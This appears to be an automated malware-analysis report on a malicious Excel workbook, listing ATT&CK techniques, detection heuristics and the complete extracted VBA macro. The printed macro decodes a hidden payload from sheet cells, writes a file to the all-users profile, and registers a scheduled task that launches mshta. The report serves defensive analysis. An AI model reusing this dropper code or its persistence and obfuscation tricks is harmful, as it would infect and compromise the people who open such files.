MALICIOUS
176
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Excel document containing a Workbook_Open VBA macro. This macro is designed to execute a script that attempts to establish persistence by creating a scheduled task and writing a file to the user's profile. The script also references 'Schedule.Service' and attempts to write to a file path that suggests a scheduled task execution.
Heuristics 6
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
Set xA1 = xPlusValues.Actions.Create(xDBarStacked100) xA1.Path = "mshta" xA1.Arguments = xExcel4 -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Next xGray16 With CreateObject("Scripting.FileSystemObject") Set xTextFormat = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xDoNotSaveChanges.xsl") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Sub Workbook_Open() On Error GoTo xRangeAutoFormatLocalFormat2 -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
With CreateObject("Scripting.FileSystemObject") Set xTextFormat = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xDoNotSaveChanges.xsl") End With
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3624 bytes |
SHA-256: 45298588e3702eaf7a10774847e2db4c36b78d31ffd7badf16dd29441ce106c6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
On Error GoTo xRangeAutoFormatLocalFormat2
xDialogAssignToObject = 1 / 0
xRangeAutoFormatLocalFormat2:
If Err.Number <> 0 Then
xPatternUp = "Thank You!"
MsgBox xPatternUp, , "Good", Err.HelpFile, Err.HelpContext
xArabicNone = xRangeAutoFormat3DEffects1()
End If
End Sub
Function xRangeAutoFormat3DEffects1()
For Each xGray16 In ActiveWorkbook.Sheets("Sheet1").Range("AN43:CA3651")
If xGray16.Value > 0 And Len(xExcel4) < 207 Then
xExcel4 = xExcel4 & Chr(xGray16.Value)
ElseIf xGray16.Value > 0 Then
xMonthLeadingZero = xMonthLeadingZero & Chr(xGray16.Value)
End If
Next xGray16
With CreateObject("Scripting.FileSystemObject")
Set xTextFormat = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xDoNotSaveChanges.xsl")
End With
Const xDialogSeriesY = 1
Const xDBarStacked100 = 0
Set xConeBarStacked100 = CreateObject("Schedule.Service")
Call xConeBarStacked100.Connect
Set xDialogInsertTitle = xConeBarStacked100.GetFolder("")
Set xPlusValues = xConeBarStacked100.NewTask(0)
Set xCGM = xPlusValues.RegistrationInfo
xCGM.Description = "Updates"
xCGM.Author = "The Company"
Set xPortrait = xPlusValues.Principal
xPortrait.LogonType = 3
Set xParamTypeBinary = xPlusValues.Settings
xParamTypeBinary.Enabled = True
xParamTypeBinary.StartWhenAvailable = True
xParamTypeBinary.Hidden = False
Set xDataTable = xPlusValues.Triggers
Set xDialogDataDelete = xDataTable.Create(xDialogSeriesY)
xSmartTagControlLabel = DateAdd("s", 120, Now)
xDialogFormatLegend = xDBar(xSmartTagControlLabel)
xSmartTagControlLabel = DateAdd("n", 5, Now)
xDialogDeleteFormat = xDBar(xSmartTagControlLabel)
xDialogDataDelete.StartBoundary = xDialogFormatLegend
With xTextFormat
.Write xMonthLeadingZero
End With
xDialogDataDelete.EndBoundary = xDialogDeleteFormat
xDialogDataDelete.ID = "TimeTriggerId"
xDialogDataDelete.Enabled = True
Set xA1 = xPlusValues.Actions.Create(xDBarStacked100)
xA1.Path = "mshta"
xA1.Arguments = xExcel4
Call xDialogInsertTitle.RegisterTaskDefinition("2021 Updates", xPlusValues, 6, , , 3)
End Function
Function xDBar(xSurfaceWireframe)
xDialogWebOptionsPictures = "0" & Second(xSurfaceWireframe)
xDoubleClosed = "0" & Minute(xSurfaceWireframe)
xErrValue = "0" & Hour(xSurfaceWireframe)
xPaperFanfoldStdGerman = "0" & Day(xSurfaceWireframe)
xParamTypeTime = "0" & Month(xSurfaceWireframe)
xDialogSetUpdateStatus = Year(xSurfaceWireframe)
xSmartTagControlButton = Right(xErrValue, 2) & ":" & Right(xDoubleClosed, 2) & ":" & Right(xDialogWebOptionsPictures, 2)
xOptionButton = xDialogSetUpdateStatus & "-" & Right(xParamTypeTime, 2) & "-" & Right(xPaperFanfoldStdGerman, 2)
xDBar = xOptionButton & "T" & xSmartTagControlButton
End Function
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 16896 bytes |
SHA-256: c9713ba0fb3d795e907ce6a5c7dc19d7e5ec65c66c7ff2fe4e1d1af24c4bb80b |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.